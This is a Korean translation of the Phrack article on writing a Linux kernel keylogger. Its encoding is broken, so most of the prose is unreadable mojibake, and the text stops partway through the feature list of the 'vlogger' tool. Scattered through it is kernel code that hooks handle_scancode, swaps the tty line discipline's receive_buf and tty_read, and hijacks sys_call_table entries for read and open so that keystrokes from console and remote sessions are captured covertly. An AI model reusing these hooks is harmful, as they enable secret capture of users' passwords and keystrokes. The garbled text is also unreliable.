/************************************************************************************/ ¡¡¡¡Á¦¸ñ: Linux Kernel Keylogger ¡¡¡¡¡¡¡¡¹ø¿ª: OverHead Team at Wowhacker Zenky(zenky77@hananet.net) ¡¡¡¡¡¡¡¡rd °¡ ¿Ü±¹ÀÎÀÌ´Ù º¸´Ï, ¿µ¾î°¡ ¼­Åø±º¿ä ^^; °í»ý Á» Çß½À´Ï´Ù. ¡¡¡¡¡¡¡¡ ¡¡¡¡¡¡¡¡Âü°í: ÀÌ ±ÛÀ» Àбâ Àü¿¡ Phrack 50 - 5 ¿Í 'Kernel Based Keylogger' ¡¡¡¡¡¡¡¡(http://www.phreedom.org/article.php?id=28) ¸¦ Àо½Ã±æ ÃßõÇÕ´Ï´Ù. ¡¡¡¡¡¡¡¡ * ¿À¿ª ¹× ¿ÀŸ°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñ⠹ٶø´Ï´Ù. * /************************************************************************************/ ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12 |=--------------------=[ ¸®´ª½º Ä¿³Î Å° ·Î±× ÀÛ¼ºÇϱâ ]=--------------------=| |=---------------------------------------------------------------------------=| |=--------------------=[ rd ]=---------------------=| |=--------------------------=[ June 19th, 2002 ]=----------------------------=| --[ Â÷·Ê 1 - ¼­·Ð 2 - ¸®´ª½º Å°º¸µå driver °¡ ¾î¶»°Ô ¼öÇàµÇ´Â°¡? 3 - Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å·ÎÀÇ Á¢±Ù 3.1 - ÀÎÅÍ·´Æ® Çڵ鷯 3.2 ? ÇÔ¼ö Àü´Þ °ª ÈÉÄ¡±â 3.2.1 - handle_scancode 3.2.2 - put_queue 3.2.3 - receive_buf 3.2.4 - tty_read 3.2.5 - sys_read/sys_write 4 - vlogger 4.1 ? ½Ã½ºÅÛ ÄÝ°ú tty·ÎÀÇ Á¢±Ù 4.2 - Ư¡ 4.3 - ¾î¶»°Ô »ç¿ëÇϴ°¡? 5 - °¨»çÀÇ ±Û 6 ? Âü°í¹®Çå 7 - Keylogger ¼Ò½º --[ 1 - ¼­·Ð ÀÌ ¹®¼­´Â µÎ ºÎºÐÀ¸·Î ³ª´µ¾î Áö´Âµ¥, ù ¹ø° ºÎºÐÀº ¸®´ª½º Å°º¸µå driver°¡ ¼öÇàµÇ´Â °úÁ¤À» ¼³¸íÇØÁÝ´Ï´Ù. ±×¸®°í Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å¸¦ ¸¸µå´Â ¹æ¹ý¿¡ ´ëÇØ À̾߱âÇÕ´Ï´Ù. ÀÌ ºÎºÐÀº Ä¿³Î ±â ¹ÝÀÇ Å°·Î°Å¸¦ ¸¸µé·Á°í ÇÏ´Â »ç¶÷À̳ª (ÇöÀç ¸®´ª½º ȯ°æ¿¡¼­ Áö¿øµÇÁö ¾Ê°í ÀÖ´Â) Å°º¸µå driver ¸¦ ¸¸µé·Á´Â »ç¶÷¿¡°Ô À¯¿ëÇÒ°Ì´Ï´Ù. ¶Ç´Â ¸®´ª½º Å°º¸µå driverÀÇ ¸¹Àº Ư¡À» °¡Á®¿Í ÇÁ·Î±×·¡¹Ö À» ÇÏ·Á´Â »ç¶÷¿¡°Ô À¯¿ëÇÒ°Ì´Ï´Ù. µÎ ¹ø° ºÎºÐÀº vloggerÀÇ »ó¼¼ÇÑ ¼³¸í°ú ¶Ù¾î³­ Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å¿Í ÀÌ °ÍÀ» ¾î¶»°Ô »ç¿ëÇÏ´Â °¡¿¡ ´ëÇØ ¼³¸íÇÒ°Ì´Ï´Ù. ÀÌ Å°·Î°Å´Â Èï¹Ì·Î¿î ÄÚµå·Î white hat, black hat¿¡ ÀÇÇÑ honeypots Ȥ Àº ½Ã½ºÅÛ °ø°Ý¿¡ ³Î¸® ÀÌ¿ëµÉ °ÍÀÔ´Ï´Ù. Àß ¾Ë·ÁÁø Å°·Î°Å´Â °ÅÀÇ »ç¿ëÀÚ ¿µ¿ª ±â¹ÝÀÇ Å°·Î°Å (like iob , uberkey , unixkeylogger ... )ÀÌÁö¸¸, Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å µµ ¿©·µ ÀÖ½À´Ï´Ù. ÃÊâ±â Ä¿³Î ±â¹Ý Å°·Î°Å´Â halflifeÀÇ linspy·Î Phrack 50-4 (%ÇÊÀÚÁÖ% Phrack 50-5 ÀÎ°Í °°±º¿ä^^;)¿¡ ¼­ ¼Ò°³µÇ¾ú°í,³»°¡ ÀÌ ±ÛÀ» ¾²°í ÀÖ´ø ÃÖ±Ù¿¡ mercenary°¡ 'Kernel Based Keylogger' (%ÇÊÀÚÁÖ% http://www.phreedom.org/article.php?id=28) ¶ó´Â ±Û¿¡¼­ kkeyloger¸¦ ¼Ò°³Çß½À´Ï´Ù. À§ÀÇ Ä¿³Î ±â¹ÝÀÇ Å°·Î°ÅÀÇ °øÅëµÈ ¹æ¹ýÀº sys_read ³ª sys_write ¶ó´Â system ÄÝÀ» ÀÌ¿ëÇؼ­ »ç¿ë ÀÚ°¡ key¸¦ Ä¡´Â °ÍÀ» °¡·Îä¼­ log·Î ÀúÀåÇÏ´Â Àε¥, ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýÀº ²Ï ºÒ¾ÈÇÏ°í sys_read(or sys_write)´Â ÀϹÝÀûÀÎ Àбâ,¾²±â ÀÛ¾÷¿¡¼­ ¾²ÀÌ´Â °ÍÀ̱⠶§¹®¿¡, ½Ã½ºÅÛ ¼º´ÉÀ» »ó ´çÈ÷ ¶³¾î¶ß¸°´Ù ; sys_read´Â ÇÁ·Î¼¼¼­°¡ ¾î¶² Àбâ ÀÛ¾÷À» device(file, serial port³ª Å°º¸µå °°Àº °÷) ¿¡¼­ ¾òÀ¸·Á ÇÒ ¶§ ¹ß»ýµÇ´Â °ÍÀÌ´Ù. vlogger¿¡¼­ tty ¹öÆÛó¸® ÇÔ¼ö¿¡¼­ Å°·Î±×¸¦ °¡Á® ¿Ã Á»´õ Çö¸íÇÑ ¹æ¹ýÀ» ä¿ëÇß½À´Ï´Ù. ¡¡ÀÌ reader´Â Linux Loadable Kernel Module ÀÇ Á¤º¸¸¦ ¼ÒÀ¯ ÇÒ ¼ö ÀÖµµ·Ï µµ¿ÍÁÖ¸ç, ¾Æ·¡ÀÇ ±Û À» Àбâ Àü¿¡ [1],[2] ÀåÀÇ ±ÛÀ» ¸ÕÀú Àб⸦ ÃßõÇÕ´Ï´Ù. --[ 2 - ¸®´ª½º Å°º¸µå driver °¡ ¾î¶»°Ô ¼öÇàµÇ´Â°¡? ÄÜ¼Ö Å°º¸µå°¡ ¾î¶»°Ô »ç¿ëÀÚ ÀÔ·ÂÀ» ó¸® ÇÏ´ÂÁö¸¦ ¾Æ·¡¿Í °°ÀÌ »ìÆ캾½Ã´Ù : _____________ _________ _________ / \ put_queue| |receive_buf| |tty_read /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|-------> \ / | | |buffer | \_____________/ |_________| |_________| _________ ____________ | |sys_read| | --->|/dev/ttyX|------->|user process| | | | | |_________| |____________| Figure 1 ù ¹ø°·Î, ´ç½ÅÀÌ Å°º¸µå¿¡ Å°¸¦ ´©¸¦ ¶§, ±× Å°º¸µå´Â Å°¿¡ °É¸ÂÀº scancodes¸¦ Å°º¸µå driver ¿¡°Ô º¸³¾ °ÍÀÌ´Ù. ´Ü ÇѹøÀÇ Å° Ŭ¸¯Àº ¿©¼¸ ¹øÀÇ scancodes±îÁö ¿¬¼ÓÀ» ÀÏÀ¸Å³ ¼ö ÀÖ½À´Ï´Ù. %ÇÊÀÚÁÖ% key press´Â Key ¸¦ ´©¸¦ ¶§, key release´Â Key ¸¦ ³õÀ» ¶§¸¦ ¸»ÇÕ´Ï´Ù. handle_scancode() ÇÔ¼ö´Â scancodesÀÇ È帧À» ºÐ¼®ÇÏ°í key press ³ª key release À̺¥Æ®¸¦ ¹ß»ý ½ÃÅ°¸ç, kbd_translate() ÇÔ¼ö¸¦ ÀÌ¿ëÇØ translation-table »ç¿ëÇϴµ¥, °¢ Å°´Â 1-127 ¹üÀ§ ¾ÈÀÇ ¼­·Î ´Ù¸¥ Å°ÄÚµå k¸¦ Á¦°øÇÕ´Ï´Ù. Å°º¸µå¸¦ ´©¸¦ ¶©, Å°ÄÚµå k°¡ »ý¼ºµÇ°í, Å°º¸µå¸¦ ³õÀ» ¶© Å° ÄÚµå k+128 À» ¸¸µé¾î ÁÝ´Ï´Ù. ¿¹¸¦ µé¸é, Å°ÄÚµå a ´Â 30 À̶õ °ªÀ» °¡Áö´Âµ¥,'a' key¸¦ ´©¸£¸é Å°ÄÚµå 30À» »ý¼ºÇϸç, Å°¸¦ ³õÀ» ¶§¿¡´Â 'a' °ªÀº Å°ÄÚµå 158(128+ 30)À» »ý¼ºÇÏ°Ô µË´Ï´Ù. Next, Å°ÄÚµå s´Â Å°¸Ê¿¡ ÀÖ´Â Àû´çÇÑ ¹®ÀÚ·Î º¯È¯µË´Ï´Ù. ÀÌ·± ÀÏ·ÃÀÇ °úÁ¤Àº Á» º¹ÀâÇÑ Çѵ¥, Å°º¸µå ÀÇ 8°³ÀÇ ¿É¼Ç Å°( shift keys - Shift, AltGr, Control, Alt,ShiftL, ShiftR, CtrlL and CtrlR )¿Í Å°ÄÚµåÀÇ ¼ýÀÚ °ª°ú °áÇյǾ Å°¸Ê¿¡ µû¶ó ±ÛÀÚ°¡ °áÁ¤µË´Ï´Ù. ÀÌ·± ¼öÇàÀÇ °á°ú·Î, ¹®ÀÚ¸¦ Æ÷ÇÔÇÏ´Â °ªÀº tty queue¿¡ ¿Ã·ÁÁ® tty_flip_buffer¿¡ ÀúÀåµË´Ï´Ù. tty line ÀÇ ÅëÁ¦ ¹æ¹ýÀº, receive_buf ( ) ÇÔ¼ö¸¦ ÁÖ±âÀûÀ¸·Î È£ÃâÇؼ­ ¹®ÀÚ¸¦ tty_flip_buffer·Î ºÎÅÍ °¡Á®¿Í ttyÀÇ read queue ³Ö´Â °Í ¹æ½ÄÀÔ´Ï´Ù. ¡¡user process °¡ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¿ä±¸ÇÒ ¶§, read() ÇÔ¼ö¸¦ È£ÃâÇؼ­ stdin(Ç¥ÁØÀÔ·Â) ÇÁ·Î¼¼¼­ ¸¦ ÀÌ¿ëÇÕ´Ï´Ù. sys_read() ÇÔ¼ö´Â read() ÇÔ¼ö¸¦ È£ÃâÇؼ­ file_operation ±¸Á¶·Î µÇ¾îÀÖ´Â tty(ex /dev/tty0)ÀÇ ÀÔ·Â ¹®ÀÚ¿Í return process°ªÀ» ºñ±³Çؼ­(¾î¶² °ÍÀÌ tty_read¸¦ °¡¸®Å°´ÂÁö) ¸¦ ¾Ë¾Æ³À´Ï´Ù. Å°º¸µå driver´Â 4°¡Áö ¸ðµå¸¦ ¼±ÅÃÇÒ ¼ö ÀÖ½À´Ï´Ù.: - scancode (RAW MODE): ÀÔ·Â ¹ÞÀº °ªÀÇ scancode ÇÁ·Î±×·¥ÀÌ È¹µæÇÏ´Â ¹æ½ÄÀ¸·Î, Å°º¸µå driverÀÇ °ªÀ» À̾î¹Þ¾Æ¼­ ÇÁ·Î±×·¥¿¡ »ç¿ëÇÕ´Ï´Ù. (ex :X11) - Å°ÄÚµå (MEDIUMRAW MODE): key press ¿Í key relesedÀÇ (Å°ÄÚµå id¸¦ ¹Þ¾Æ) ±× Á¤º¸¸¦ ÇÁ·Î±×·¥¿¡¼­ ÀÌ¿ëÇÕ´Ï´Ù. - ASCII (XLATE MODE):Å°¸Ê¿¡¼­ È¿À²ÀûÀ¸·Î Á¤ÀÇµÈ 8-bit ÀÎ ÄÚµù(8bit ASCII ÁöĪ) µÈ ¹®ÀÚ¸¦ ÇÁ·Î±×·¥¿¡ ÀÌ¿ëÇÕ´Ï´Ù. - À¯´ÏÄÚµå (UNICODE MODE): ASCII¹æ½Ä°úÀÇ ´Ü ÇÑ°¡Áö Â÷ÀÌÁ¡Àº ¾Æ½ºÅ°´Â Ascii 0 ¿¡¼­ Ascii 9¸¦ ÀÌ¿ëÇØ UTF8 À¯´ÏÄÚµå ¹®ÀÚ¸¦ 10Áø¹ýÀ¸·Î Àü´ÞÇÏÁö¸¸, À¯´ÏÄÚµå´Â Hex 0 ¿¡¼­ Hex 9 ±îÁö¸¦ ÀÌ¿ëÇØ 16Áø¼ö(4-digit)Ç¥ÇöÀ» Çؼ­ Àü´ÞÇÑ´Ù´Â Á¡ÀÌ´Ù. Å°¸Ê¿¡¼± UTF8 sequence (U+XXXXÀÇ ¸ðÁ¶ ¹®ÀÚ¸¦ Æ÷ÇÔÇϸç, X´Â 16Áø¼ö¸¦ ÀǹÌ)¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ°Ô ÇÕ´Ï´Ù. ÇÁ·Î±×·¥¿¡ µû¶ó ¾î¶² µ¥ÀÌÅÍ typeÀ» ¾µ °ÍÀÎÁö ¿µÇâÀ» ³¢Ä¨´Ï´Ù. scancode, Å°ÄÚµå ±×¸®°í Å°¸Ê s¿¡ ´õ ¸¹Àº »ó¼¼ÇÑ ¼³¸íÀ» À§Çؼ­ ²À [3]À» ÀоîÁÖ¼¼¿ä. --[ 3 - Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å·ÎÀÇ Á¢±Ù ¡¡Ä¿³Î ±â¹ÝÀÇ keylogger¿¡¼± Å°º¸µåÀÇ ¾²±â ÀÎÅÍ·´Æ® Çڵ鷯ÀÇ ±ÇÇÑÀ» °¡Áö°Å³ª Å°º¸µå ÀÔ·Â ÇÔ¼ö ÀÇ °ªÀ» ÈÉÄ¡´Â °Í ÀÌ µÎ °¡Áö ¹æ¹ýÀÌ ÀÖ½À´Ï´Ù. ----[ 3.1 - ÀÎÅÍ·´Æ® Çڵ鷯 ¡¡Å°º¸µå¸¦ Ä¥ ¶§, ¿ì¸®´Â Å°º¸µå ÀÎÅÍ·´Æ® Çڵ鷯¸¦ »ç¿ëÇÒ ¼ö ÀÖ°Ô µÇ¸ç, ÀÎÅÚ ¾ÆÅ°ÅØó¿¡¼± Å° º¸µå ÄÁÆ®·Ñ·¯ IRQ´Â 1¹øÀÔ´Ï´Ù. Å°º¸µå ÀÎÅÍ·´Æ®¸¦ ¹Þ¾ÒÀ» ¶§, Å°º¸µå Çڵ鷯´Â scancode¸¦ ÀÐ¾î ¼­ Å°º¸µå »óŸ¦ ÆľÇÇÏ°í, Å°º¸µå À̺¥Æ®´Â 0x60(Å°º¸µå data register ) port¿Í 0x64 ( Å°º¸µå status register ) ¸¦ °æÀ¯Çؼ­ ÀÌ¿ëÇؼ­ µ¥ÀÌÅ͸¦ ÀÐ°í ¾¹´Ï´Ù. /*ÀÌ ÄÚµå´Â ÀÎÅÚ ¾ÆÅ°ÅØóÀÇ Æ¯¼ºÀÔ´Ï´Ù * / #define Å°º¸µå_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60 #define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG) /* ·¹Áö½ºÅÍ¿¡ »ç¿ëÇÒ IRQ¸¦ ¼³Á¤ÇÕ´Ï´Ù. */ request_irq(Å°º¸µå_IRQ, my_Å°º¸µå_irq_Çڵ鷯, 0, "my Å°º¸µå", NULL); In my_Å°º¸µå_irq_Çڵ鷯(): scancode = kbd_read_input(); key_status = kbd_read_status(); log_scancode(scancode); ¡¡ÀÌ·± ¹æ½ÄÀº Ç÷§Æû ÀÇÁ¸ÀûÀÔ´Ï´Ù. ±×·¡¼­ ¿©·¯ Ç÷§Æû¿¡ À̽ÄÇϱ⠽±Áö ¾ÊÀ» °Ì´Ï´Ù. ±×¸®°í, Linux box¸¦ ¸ÁÄ¡°í ½ÍÁö ¾Ê´Ù¸é, ÀÎÅÍ·´Æ® Çڵ鷯¸¦ ¸¸Áú ¶§ Á¶½ÉÇؼ­ ´Ù·ï¾ß µÉ °Ì´Ï´Ù ;) ----[ 3.2 - ÇÔ¼ö Àü´Þ °ª ÈÉÄ¡±â Figure 1¿¡ ±â¹Ý¿¡¼­ ,¿ì¸®´Â keylogger°¡ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» handle_scancode( ), put_queue( ), receive_buf( ), tty_read( ) ±×¸®°í sys_read() ÇÔ¼ö¸¦ ÅëÇØ hijacking ÇÒ ¼ö ÀÖ´Â ±ÇÇÑ °¡Áú ¼ö ÀÖ´Â ¹æ¹ýÀ» ¾Ë°Ô µÇ¾úÁö¸¸, tty_insert_flip_char() ÇÔ¼ö ´ÂINLINE ÇÔ¼ö À̱⠶§¹® ¿¡ ¹®ÀÚ¸¦ °¡·Îç ¼ö ¾ø´Ù´Â °ÍÀ» ÀÎÁöÇØ¾ß µÉ °Í ÀÔ´Ï´Ù. ------[ 3.2.1 - handle_scancode ¡¡ÀÌ°Ç Å°º¸µå driver ¿¡ ´ëÇÑ ¸ñ·ÏÀÌ´Ù.(Å°º¸µå.c Âü°í) Å°º¸µå·ÎºÎÅÍ ÀÔ·Â ¹ÞÀº scancode¿¡ ÀÇÇØ handling µË´Ï´Ù. # /usr/src/linux/drives/char/Å°º¸µå.c void handle_scancode(unsigned char scancode, int down); ¡¡¿ì¸®´Â ¿ø·¡ÀÇ hadle_scancode() ÇÔ¼ö¸¦ ¿ì¸® ¼ÒÀ¯ÀÇ ¸ðµç scancodeÀÇ ·Î±×¿Í ¹Ù²Ü ¼ö ÀÖ½À´Ï´Ù. ±×·¯³ª, handle_scancode( )´Â Àü¿ªº¯¼ö¸¦ °¡Áö°í ÀÖÁö¾Ê°í, ÇÔ¼ö°¡ export µÇ¾îÀÖÁö ¾Ê½À´Ï´Ù. ±×·¸±â ¶§¹®¿¡, Silvio°¡ ¼Ò°³ÇÑ kernel function hijacking Å×Å©´ÐÀ» ÀÌ¿ëÇغ¸°Ú½À´Ï´Ù.(section [5] ÂüÁ¶) /* ¾Æ·¡ code ´Â snippet´Â Plasmoid °¡ ¾´ °ÍÀÔ´Ï´Ù.*/ static struct semaphore hs_sem, log_sem; static int logging=1; #define CODESIZE 7 static char hs_code[CODESIZE]; static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; void (*handle_scancode) (unsigned char, int) = (void (*)(unsigned char, int)) HS_ADDRESS; void _handle_scancode(unsigned char scancode, int keydown) { if (logging && keydown) log_scancode(scancode, LOGFILE); /* * ¿ø·¡ handle_scancode ÄÚµåÀÇ Ã¹ ¹ø° ¹ÙÀÌÆ®¸¦ º¹±¸½ÃÅ°½Ã¿À. º¹±¸µÈ ÇÔ¼ö * ¸¦ È£ÃâÇÏ°í,º¹±¸ÀüÀÇ jump Äڵ带 È£ÃâÇϽÿÀ. hs_sem ÄÚµå´Â ¼¼¸¶Æ÷¾î¿¡ * ÀÇÇØ º¸È£µÇ°í ÀÖ½À´Ï´Ù. ¿ì¸®´Â ÇϳªÀÇ CPU ¸¸ÀÌ µ¿ÀÛÇÏ´Â°É ¿øÇÕ´Ï´Ù. */ down(&hs_sem); memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE); up(&hs_sem); } HS_ADDRESS is set by the Makefile executing this command HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode)) ¡¡3.1°ú ºñ½ÁÇÑ ¹æ¹ýÀ» ÀÌ¿ëÇßÀ¸¸ç, ÀÌ ¹æ¹ýÀº tty°¡ È£ÃâµÆ°Ç ¾ÈµÆ°Ç »ó°ü¾øÀÌ, X À©µµ¿ì»óÀÇ console¿¡¼­ Å°¸¦ Ä¥ ¶§ÀÇ log ¸¦ ÀúÀåÇÒ ¼ö ÀÖ´Ù´Â ÀåÁ¡À» °¡Áö°í ÀÖ½À´Ï´Ù. ±×¸®°í, Á¤È®È÷ Å°º¸µå¿¡¼­ ¾î¶² Å°( Control , Alt , Shift , Print Screen µîÀÇ Æ¯¼öÅ°µµ Æ÷ÇÔ)¸¦ ´­·¶´ÂÁöµµ ¾Ë ¼ö ÀÖÀ»°ÍÀÔ´Ï´Ù. ±×·¯³ª, ÀÌ ¹æ¹ýÀº Ç÷§Æû ÁöÇâÀûÀÌ¶ó¼­ ´Ù¸¥ Á¾·ùÀÇ Ç÷§Æû¿¡¼­ »ç¿ëÇϱä Èûµé °ÍÀÔ´Ï´Ù. ÀÌ ¹æ¹ýÀº ¶ÇÇÑ remote session¿¡¼± ²Ï º¹ÀâÇϱ⠶§¹®¿¡, °í¼º´ÉÀÇ logger °¡ ¾Æ´Ï¸é keystroke¸¦ log ÇÏ´Â °Ô Èûµé °ÍÀÔ´Ï´Ù. ------[ 3.2.2 - put_queue ¡¡ÀÌ ÇÔ¼ö´Â handle_scancode ( ) È£ÃâÇؼ­ tty_queue¿¡ ¹®ÀÚ¸¦ Àü¼ÛÇÕ´Ï´Ù. # /usr/src/linux/drives/char/Å°º¸µå.c void put_queue(int ch); ¡¡ÀÌ ÇÔ¼ö¿¡ ÀÎÅͼÁÆ®Çϱâ À§Çؼ± 3.2.1 ÀåÀÇ Å×Å©´ÐÀ» ÀÌ¿ëÇÏ¸é µÉ °ÍÀÔ´Ï´Ù. ------[ 3.2.3 - receive_buf receive_buf( ) ÇÔ¼ö´Â Àú ·¹º§ÀÇ tty driver¸¦ È£ÃâÇÏ¿© Çϵå¿þ¾î ¶óÀÎÀ» ÅëÁ¦ ÇÏ¸ç ¹®ÀÚ¸¦ Àü¼ÛÇÕ´Ï´Ù. # /usr/src/linux/drivers/char/n_tty.c */ static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) cp´Â ¹öÆÛÀÇ ÀÔ·Â ¹®ÀÚ¸¦ µð¹ÙÀ̽º·ÎºÎÅÍ ¹Þ¾Æ Àü´ÞÇÏ´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù. fp´Â flag ¹ÙÀÌÆ®(%¿ªÀÚÁÖ: flag ºñÆ®)¸¦ ÀÌ¿ëÇÏ¿© ¾î¶² ÁöÁ¡¿¡¼­ ¾î¶² ÁöÁ¡À¸·Î ¹®ÀÚ¸¦ Àü´ÞÇϸç, ¿À·ùÁ¤Á¤ µîÀ» ÇÏ´Â Äڵ带 Æ÷ÇÔÇÑ´Ù. ÀÚ ÀÌÁ¦ tty ±¸Á¶¿¡ ´ëÇØ ´õ ±í°Ô Á¶»çÇغ¾½Ã´Ù. # /usr/include/linux/tty.h struct tty_struct { Int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked; ... } # /usr/include/linux/tty_ldisc.h struct tty_ldisc { int magic; char *name; ... void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); int (*receive_room)(struct tty_struct *); void (*write_wakeup)(struct tty_struct *); }; ¡¡ÀÌ ÇÔ¼öÀÇ ÀÎÅͼÁÆ®¿¡¼­, receive_buf() ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© ¿ø·¡ °ªÀ» ÀúÀåÇϸç, ldisc.receive_bufÀ» ¼³Á¤ÇÏ¿© new_receive_buf() ÇÔ¼ö¿¡°Ô »ç¿ëÀÚÀÇ ÀÔ·Â °ªÀ» ÀúÀåÇϵµ·Ï ¸í·ÉÇÒ ¼ö ÀÖ½À´Ï´Ù. Ex:tty0 ÀÇ Å°·Î±× ¸¦ µéÀÚ¸é ¾Æ·¡¿Í °°½À´Ï´Ù. : int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); struct tty_struct *tty = file->private_data; old_receive_buf = tty->ldisc.receive_buf; tty->ldisc.receive_buf = new_receive_buf; void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { logging(tty, cp, count); //·Î±× ÀÔ·Â /* ±âÁ¸ÀÇ receive_buf È£Ãâ*/ (*old_receive_buf)(tty, cp, fp, count); } ------[ 3.2.4 - tty_read ¡¡ÀÌ ÇÔ¼ö´Â ÇÁ·Î¼¼¼­°¡ ¹®ÀÚ¸¦ Àб⠿øÇÒ ¶§ È£Ã⠵Ǵ °Í À¸·Î sys_read()ÇÔ¼ö¸¦ ÀÌ¿ëÇؼ­ ttyÀÇ °ªÀÇ ¹®ÀÚ¸¦ °¡Á®¿É´Ï´Ù. # /usr/src/linux/drives/char/tty_io.c static ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos) static struct file_operations tty_fops = { llseek: tty_lseek, read: tty_read, write: tty_write, poll: tty_poll, ioctl: tty_ioctl, open: tty_open, release: tty_release, fasync: tty_fasync, }; To log inputs on the tty0: int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); old_tty_read = file->f_op->read; file->f_op->read = new_tty_read; ------[ 3.2.5 - sys_read/sys_write ¡¡¿ì¸®´Â read/write È£ÃâÀÇ ³»¿ëÀ» ·Î±× ÇÏ´Â ¿ì¸® ÀÚ½ÅÀÇ Äڵ忡 ±× ¹æÇâÀ» °íÄ¡±â À§ÇØ sys_read/sys_write ½Ã½ºÅÛ È£ÃâÀ» µµÁß °¡Á®¿Ã °Í ÀÔ´Ï´Ù. ÀÌ ¹æ¹ýÀº Phrack 50-4 (%ÇÊÀÚÁÖ% Phrack 50-5 ÀÎ °Í °°±º¿ä^^;) halflife °¡ ÁöÀº ±Û¿¡¼­ óÀ½ ´ëµÎ µÇ¾úÀ¸¸ç, pragmatic °¡[2] sector¿¡¼­ ÀûÀº Complete Linux Loadable Kernel Modules" ¡¡(%ÇÊÀÚÁÖ% http://packetstorm.decepticons.org/docs/hack/LKM_HACKING.html) ¡¡¶õ ±ÛÀ» ÀÐ¾î º¸±æ ¹Ù¶ø´Ï´Ù. intercept sys_read/sys_writeÀÇ ÄÚµå´Â ÀÌ¿Í °°Àº °ÍÀÔ´Ï´Ù: extern void *sys_call_table[]; original_sys_read = sys_call_table[__NR_read]; sys_call_table[__NR_read] = new_sys_read; --[ 4 - vlogger ¡¡ÀÌ ÆÄÆ®´Â ³ªÀÇ kernel keylogger ½ºÅ¸ÀÏÀÇ ¹æ½ÄÀ» ¼³¸íÇÏ´Â ¼½¼ÇÀ̸ç, 3.2.3 ÀÇ sys_read/sys_write ½Ã½ºÅÛ ÄÝÀ» ÀÌ keylogger¿¡¼± Á»´õ ÀϹÝÀûÀ¸·Î Á¢±ÙÇÏ°í ÀÖ½À´Ï´Ù. ³­ ÀÌ ÄÚ µå¸¦ Ä¿³Î 2.4.5 , 2.4.7, 2.4.17 ±×¸®°í 2.4.18 ¿¡¼­ Å×½ºÆ® ÇÏ¿´½À´Ï´Ù. ----[ 4.1 - ½Ã½ºÅÛ ÄÝ°ú tty·ÎÀÇ Á¢±Ù local(console login)°ú remote Á¢¼Ó¿¡ ·Î±×ÀÎ Çؼ­ ³­ receive_buf()ÇÔ¼öÀÇ °ªÀ» °¡·Îä´Â ¹æ¹ýÀ» ¼±ÅÃÇß½À´Ï´Ù.(ÂüÁ¶ : 3.2.3) ¡¡Ä¿³Î ¾È¿¡ , tty ±¸Á¶¿Í tty_queue ±¸Á¶´Â tty°¡ »ç¿ëµÉ¶§(open tty µÉ¶§) µ¿ÀûÀ¸·Î ÇÒ´çµÇ¾ú´Ù. ±×¸®ÇÏ¿©, tty¿Í pty°¡ È£ÃâµÉ¶§ sys_open syscall ÀÎÅͼÁÅ͸¦ µ¿ÀûÀ¸·Î hooking Çؼ­ receive_buf ( ) ÇÔ¼ö¸¦ ÀÌ¿ëÇÕ´Ï´Ù. // ÀÎÅͼÁÆ®·Î System call È£Ãâ original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; // new_sys_open() asmlinkage int new_sys_open(const char *filename, int flags, int mode) { ... // original_sys_open È£Ãâ ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; ... file = fget(ret); tty = file->private_data; if (tty != NULL && ... tty->ldisc.receive_buf != new_receive_buf) { ... // old receive_buf ÀúÀå old_receive_buf = tty->ldisc.receive_buf; ... /* * init to intercept receive_buf of this tty * tty->ldisc.receive_buf = new_receive_buf; */ init_tty(tty, TTY_INDEX(tty)); } ... } // our new receive_buf() function void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // raw ¸ðµå ¹«½Ã // ·Î±×ÀÎ ÇÑ »ç¿ëÀÚÀÇ Å°º¸µå ÀԷ°ªÀ» ÀúÀåÇÒ ÇÔ¼ö È£Ãâ vlogger_process(tty, cp, count); // ±âÁ¸ receive_buf È£Ãâ (*old_receive_buf)(tty, cp, fp, count); } ----[ 4.2 - Ư¡ - local°ú remote µÎ Á¢¼Ó¹æ¹ý¿¡¼­ ¸ðµÎ Å°·Î±×¸¦ ÀúÀåÇÕ´Ï´Ù.(tty °æÀ¯ ȤÀº pts) - °¢°¢ÀÇ tty¿Í ¼¼¼ÇÀ¸·Î loggingÀÌ ºÐ¸®µË´Ï´Ù. °¢ tty´Â logger buffer¸¦ °¡Áö°í ÀÖ½À´Ï´Ù. - ¹æÇâÅ°( left, right, up, down ), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ... µî ¸ðµç Ư¼öÅ°¸¦ Áö¿øÇÕ´Ï´Ù. ¡¡ ¡¡ - CTRL - U ¿Í BackSpace ¿Í °°Àº line editingÀ» Áö¿øÇÕ´Ï´Ù. - (libcµî À¸·Î ºÎÅÍ 